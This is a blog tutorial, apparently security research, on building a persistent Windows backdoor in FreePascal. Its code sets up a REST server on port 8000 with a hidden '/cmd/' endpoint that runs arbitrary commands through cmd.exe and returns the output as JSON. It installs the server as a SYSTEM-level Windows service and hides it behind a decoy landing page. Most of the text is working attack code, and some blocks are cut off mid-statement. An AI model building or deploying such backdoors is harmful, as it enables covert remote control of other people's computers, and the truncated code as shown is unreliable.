Porting Backdoors – Windows rootkits via RESTful API Service

Research Agenda

  • Part1 – porting the backdoor for windows (READY)
  • Part2 – porting the backdoor for Linux/Unix (IN PROGRESS)
  • Part3 – hiding the process (IN PROGRESS)
  • Part4 – provision of techniques (IN PROGRESS)

RootKits Definitions

According to Greg Hoglund, a rootkit is “a set of programs and code that allows a permanent or consistent, undetectable presence on a computer.” This is a reasonable top-level definition, but it does not really lessen the confusion between old-style “stealth,” newer “stealth kits,” and rootkits.

A rootkit is a kind of toolkit usually associated with the attempt to gain privileged access or to maintain that access by concealing the fact that the system has been compromised and continuing to make use of that compromise by deploying a bunch of techniques in order to gain :

  • Persistent access to the system
  • Allow the individual and/or software to make use of that access in whatever way he chooses
  • Open ports / malicious services
  • Process and handles
  • Files and registry entries

Building PoC

This research aims to spotlight uncovered techniques that might be used to maintain persistent access to the operating system. Basically, we will build a simple Restful API server running over a specific network port and then implement a way to allow remote attack communication into a hidden API endpoint to execute server-side system commands and transfer back the results in JSON format.

Moreover, we will develop a daemon background application that requires administrative privileges to install the malicious server into system services to gain permanent access.

Building Restful API Server

We will create a fully Restful API server using only the packages bundled with FreePascal and Lazarus; no frameworks or other tools are required. In the end, we will create an end-point that stands for server-side system command execution, and since JSON is standard for transferring non-binary data via Web protocols, we will use it.

From Lazarus -> simple program -> create a new project

then we define the uses sections as code block below :

{$IFDEF UNIX}cthreads, cmem,{$ENDIF} {$IFDEF MSWINDOWS} ServiceManager, {$ENDIF} SysUtils,fphttpapp,httpdefs,custweb,custhttpapp,fphttpserver,process, windows,httproute,fpwebfile,fpjson, jsonparser,classes,DaemonApp;
Code language: PHP (php)

I have added a conditional definition $IFDEF if you want to port the same code into another operating system such as ( Unix, Linux ..etc.). And now, we can add the first procedure for sending JSON response content.

procedure jsonResponse(var res: TResponse; data: String); begin res.Content := data; res.Code := 200; res.ContentType := 'application/json'; res.ContentLength := length(res.Content); res.SendContent; end;
Code language: JavaScript (javascript)

Next, I will define the first API End-point which stands for server-side execution. I will use the TJsonObject component to handle the function exec_this ( system command execution function ) and send JSON response content.

procedure systemCall(req: TRequest; res: TResponse); var jObject : TJSONObject; bla,outp:string; begin jObject := TJSONObject.Create; try bla := req.QueryFields.Values['na']; outp := exec_this(bla); jObject.Add('cmd', outp); jsonResponse(res, jObject.AsJSON); finally jObject.Free; end; end;
Code language: JavaScript (javascript)

and below code block is for the system execution code function

function SystemFolder: string; begin SetLength(Result, Windows.MAX_PATH); SetLength( Result, Windows.GetSystemDirectory(PChar(Result), Windows.MAX_PATH) ); end; function exec_this(command:String):string; var Process: Tprocess; list,outp : Tstringlist; OutputStream,Param : TStream; BytesRead : longint; Buffer : array[1..BUF_SIZE] of byte; ID: dword; begin list := Tstringlist.Create; outp := Tstringlist.Create; process := Tprocess.Create(nil); OutputStream := TMemoryStream.Create; Param := TMemoryStream.Create; // we are going to store outputs as memory stream . //Param. process.Executable:=systemfolder+'\cmd.exe'; process.Parameters.Add('/c'); process.Parameters.Add(command); process.Options:= Process.Options +[poUsePipes]; // for i:=0 to list.Count-1 do begin try process.Execute; //process.Free; repeat // Get the new data from the process to a maximum of the buffer size that was allocated. // Note that all read(...) calls will block except for the last one, which returns 0 (zero). BytesRead := Process.Output.Read(Buffer, BUF_SIZE); OutputStream.Write(Buffer, BytesRead) until BytesRead = 0; //stop if no more data is being recieved outputstream.Position:=0; outp.LoadFromStream(outputstream); process.ExitCode; result := outp.Text; finally process.Free; list.Free; outp.Free; outputstream.Free; end;
Code language: PHP (php)

And to run the application, we add the following code for initialization and running

begin Application.Port := 8000; HTTPRouter.RegisterRoute('/cmd/', @systemCall, true); Application.Threaded := true; Application.Initialize; Application.Run; end.
Code language: JavaScript (javascript)

in less than 50 lines; we have crafted a simple Restful API server as an end-point to handle a request and forward the content to the request.

Application Daemon

Our next goal is to make the application runs continuously and handle periodic service requests that a Restful API Server expects to receive. The daemon program forwards the requests to other programs (or processes) as appropriate.

As a summary, we will use the Service Manager interface to install the service into the system and then use Daemon threading to handle the application’s installation and execution. The application will be running as a background process with NT/Authority system level in the end.

You have to pay attention that if we implement the code before to Daemon application mode, it will not work probably because we need functionality to embed the Restful server into the Daemon application thread. So we use the following code block types :

  • TMyDaemonApplication = class =>  run/terminate the Daemon Application
  • TMyHttpApplication = class(TCustomHTTPApplication) => FPHTTPServer Component
  • TMyDaemonThread = class(TThread) => Deamon thread handling
  • { TMyHttpDaemon } => interact with service manager
  • TMyHttpDaemonMapper = class(TCustomDaemonMapper) => creation of deamon mappers
{ TMyHttpApplication } TMyHttpApplication = class(TCustomHTTPApplication) { TMyDaemonApplication } TMyDaemonApplication = class public procedure Run; procedure Terminate; end; { TMyDaemonThread } TMyDaemonThread = class(TThread) public procedure Execute; override; end; { TMyHttpDaemon } TMyHttpDaemon = class(TCustomDaemon) private FThread: TThread; public function Install: Boolean; override; function Uninstall: Boolean; override; function Start: Boolean; override; function Stop: Boolean; override; end; { TMyHttpDaemonMapper } TMyHttpDaemonMapper = class(TCustomDaemonMapper) public constructor Create(AOwner: TComponent); override

The next step is to use the following HTTP server function for starting the JSON Restful API server and implement a Web file handler to forward an index page as a technique to masquerade your web application.

procedure rerouteRoot(aRequest: TRequest; aResponse: TResponse); begin aResponse.Code := 301; aResponse.SetCustomHeader('Location', fileLocation + '/index.html'); aResponse.SendContent; end; function MyApp: TMyHttpApplication; begin if not Assigned(_MyApp) then begin _MyApp := TMyHttpApplication.Create(nil); _MyApp.Port := 8000; RegisterFileLocation(fileLocation, 'public_html'); HTTPRouter.RegisterRoute('/', @rerouteRoot); MimeTypesFile := ExtractFilePath(ParamStr(0)) + 'mime.types'; HTTPRouter.RegisterRoute('/cmd/', @systemCall); _MyApp.Threaded := True; _MyApp.Initialize; end; Result := _MyApp; end;
Code language: JavaScript (javascript)

and whatever you want to embed it by using the following code block

procedure TMyDaemonThread.Execute;
  begin
    MyApp.Run;
  end;

then, we should start using the Custom Daemon class to install the application into the windows services interface and configure it with other parameter options such as (start or uninstall).

{ TMyHttpDaemon } function TMyHttpDaemon.Start: Boolean; begin Result := inherited Start; FThread := TMyDaemonThread.Create(True); FThread.Start; end; function TMyHttpDaemon.Stop: Boolean; begin Result := inherited Stop; FThread.Terminate; end; function TMyHttpDaemon.Install: Boolean; {$IFDEF MSWINDOWS} var VSM: TServiceManager; {$ENDIF} begin Result := inherited Install; {$IFDEF MSWINDOWS} VSM := TServiceManager.Create(nil); try VSM.Connect; if VSM.Connected then VSM.StartService(MY_HTTP_DAEMON_NAME, nil); VSM.Disconnect; finally VSM.Free; end; {$ENDIF} WriteLn('Service installed.'); end; function TMyHttpDaemon.Uninstall: Boolean; {$IFDEF MSWINDOWS} var VSM: TServiceManager; {$ENDIF} begin Result := inherited Uninstall; {$IFDEF MSWINDOWS} VSM := TServiceManager.Create(nil); try VSM.Connect; if VSM.Connected then VSM.StopService(MY_HTTP_DAEMON_NAME, True); VSM.Disconnect; finally VSM.Free; end; {$ENDIF} WriteLn('Service uninstalled.'); e
Code language: PHP (php)

Finally, we create a daemon mapper and register the daemon Class in the system. And you should identify the service name and daemon name with a valid description.

var _MyApp: TMyHttpApplication = nil; MY_HTTP_DAEMON_DESCRIPTION: string = '0xsp-rootkit.'; MY_HTTP_DAEMON_DISPLAYNAME: string = '0xsp-rootkit'; MY_HTTP_DAEMON_NAME: string = '0xsp-rootkit'; MY_HTTP_DAEMON_CLASSNAME: string = 'TMyHttpDaemon'; { TMyHttpDaemonMapper } constructor TMyHttpDaemonMapper.Create(AOwner: TComponent); var VDaemonDef: TDaemonDef; begin inherited Create(AOwner); VDaemonDef := DaemonDefs.Add as TDaemonDef; VDaemonDef.Description := MY_HTTP_DAEMON_DESCRIPTION; VDaemonDef.DisplayName := MY_HTTP_DAEMON_DISPLAYNAME; VDaemonDef.Name := MY_HTTP_DAEMON_NAME; VDaemonDef.DaemonClassName := MY_HTTP_DAEMON_CLASSNAME; VDaemonDef.WinBindings.ServiceType := stWin32; end; begin RegisterDaemonClass(TMyHttpDaemon); RegisterDaemonMapper(TMyHttpDaemonMapper); with TMyDaemonApplication.Create do try Run; finally Free; end; en
Code language: PHP (php)

Accessing the backdoor

after building a binary, we have to install the application using the –install parameter (needs administrative privileges).

After a successful installation of the service, we can clearly notice that the rootkit is up and running successfully, and a neat landing page is completely terrific!.

In order to access the rootkit, you can communicate directly to the malicious end-point by sending a formatted GET request using the Restful API client or any other alternative ways you prefer to use it.

Please follow and like us:

Leave a Comment